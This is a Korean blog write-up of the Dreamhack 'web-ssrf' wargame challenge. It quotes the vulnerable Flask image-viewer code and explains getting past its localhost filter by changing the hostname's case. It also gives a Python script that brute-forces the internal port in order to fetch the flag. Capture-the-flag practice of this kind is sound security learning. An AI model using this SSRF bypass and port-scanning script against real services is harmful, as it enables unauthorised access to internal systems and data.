본문 바로가기

드림핵

[드림핵 워게임] web-ssrf

위의 문제를 다음과 같은 과정으로 풀어보았다.

 

 

1. 엔드포인트 확인

@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
    if request.method == "GET": 
        return render_template("img_viewer.html") 
    elif request.method == "POST":
        url = request.form.get("url", "")
        urlp = urlparse(url) 
        if url[0] == "/":
            url = "http://localhost:8000" + url
        elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc): 
            data = open("error.png", "rb").read() 
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)
        try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode("utf8")
        except:
            data = open("error.png", "rb").read() 
            img = base64.b64encode(data).decode("utf8")
        return render_template("img_viewer.html", img=img)

/img_viewer라는 엔드포인트를 확인해보았다. GET 요청을 받았을 때 img_viewer.html을 렌더링한다. POST 요청을 받았을 때는 url을 받아서 해당 url의 컨텐츠를 base64로 인코딩한 이미지를 img_viewer.html에 렌더링한다. 이때 url에 "localhost"나 "127.0.0.1"이 들어있으면 error.png 이미지를 렌더링한다.

 

 

 

2. 제약사항 확인

url에 "localhost"나 "127.0.0.1"이 들어있을 때 걸리는 제약사항을 확인해보기 위해 Image Viewer에 localhost로 접근하는 url을 작성하여 POST요청을 보내보았다.

 

 

 

Not Found X 라는 문구가 쓰여진 이미지를 보여준다. 이 이미지가 앞서 살펴보았던 error.png 파일인 것을 짐작할 수 있다.

 

 

이 제약사항을 피하기 위해서 localhost 대신 대소문자를 살짝 바꾼 Localhost를 사용할 수 있다. url에서는 호스트의 대소문자를 구분하지 않기 때문에 임의대로 localhost의 대소문자를 바꾸어 써도 정상적으로 요청이 보내진다.

 

 

 

3. 포트번호 찾기

url로 flag를 얻기 위해서는 "http://localhost:{포트번호}/flag.txt" 로 img_viewer.html에 이미지 렌더링을 요청해야 한다. 이렇게 요청을 보내기 위해서는 포트번호를 알아야 한다.

 

 

local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
    (local_host, local_port), http.server.SimpleHTTPRequestHandler # 리소스를 반환하는 웹 서버
)
def run_local_server():
    local_server.serve_forever()
    
    
threading._start_new_thread(run_local_server, ())

코드를 살펴보면 local_port가 1500에서 1800사이의 난수로 정해지는 것을 볼 수 있다. 전사공격을 하기에는 수의 범위가 넓으니 포트번호를 찾아내는 코드를 작성하여 알아내보기로 했다.

 

 

 

import requests
import sys
from tqdm import tqdm

NOTFOUND_IMG = "iVBORw0KG"
def send_img(img_url):
    global chall_url
    data = {
        "url": img_url,
    }
    response = requests.post(chall_url, data=data)
    return response.text
    
def find_port():
    for port in tqdm(range(1500, 1801)):
        img_url = f"http://Localhost:{port}"
        if NOTFOUND_IMG not in send_img(img_url):
            print(f"Internal port number is: {port}")
            break
    return port
    
if __name__ == "__main__":
    chall_port = "*****"
    chall_url = f"http://host3.dreamhack.games:{chall_port}/img_viewer"
    internal_port = find_port()

포트번호를 알아낼 수 있는 파이썬 코드이다.

tqdm은 프로그램의 진행상황을 그림으로 볼 수 있게 해주는 라이브러리이다.

"iVBORw0KG"는 PNG를 base64로 인코딩한 문자열이다.

send_img() 함수는 이미지 url로 요청해서 받은 응답을 return 하는 함수이다.

find_port() 함수는 1500-1800 사이의 수로 포트번호를 형성한 뒤 해당 포트번호를 넣은 이미지 url로 요청해서 받은 응답이 error.png가 아니면 해당 포트번호가 우리가 찾고자 하는 포트번호임을 인식하고 그 포트번호를 return하는 함수이다.

하단에 있는 chall_port에는 드림핵 VM으로 요청한 페이지의 포트번호를 입력하고, chall_url에는 드림핵 VM으로 요청한 페이지의 호스트와 포트번호를 조합하여 url을 구성한다.

 

 

포트번호를 찾는 파이썬 코드를 실행하면 위와 같이 프로세스가 진행되다가 포트번호를 찾아낸다.

 

 

 

4. 익스플로잇 코드 작성하여 플래그 얻기

찾은 포트번호를 집어넣어 익스플로잇 코드를 작성한다.

 

 

View를 클릭하면 이미지 사진이 뜨지는 않는다. F12를 눌러 개발자 도구를 열어본다. 

 

 

개발자도구의 왼쪽 상단에 있는 아이콘을 클릭하여 오류가 뜬 사진 아이콘 위에 마우스를 올리면 해당 element에 대한 html 코드 부분이 표시된다.

 

 

element에 base64로 인코딩된 flag가 들어있다.

 

 

구글에 "base64 디코딩"을 검색하여 base64 디코딩 사이트에 위의 문자열을 복사, 붙여넣기 하고 디코딩하여 flag를 얻어낼 수 있다.

'드림핵' 카테고리의 다른 글

[드림핵 워게임] proxy-1  (0) 2022.11.11
[드림핵 워게임] blind-command  (0) 2022.11.11
[드림핵 워게임] file-download-1  (0) 2022.11.02
[드림핵 워게임] image-storage  (0) 2022.11.02
[드림핵 워게임] Mango (조건 추가)  (1) 2022.10.08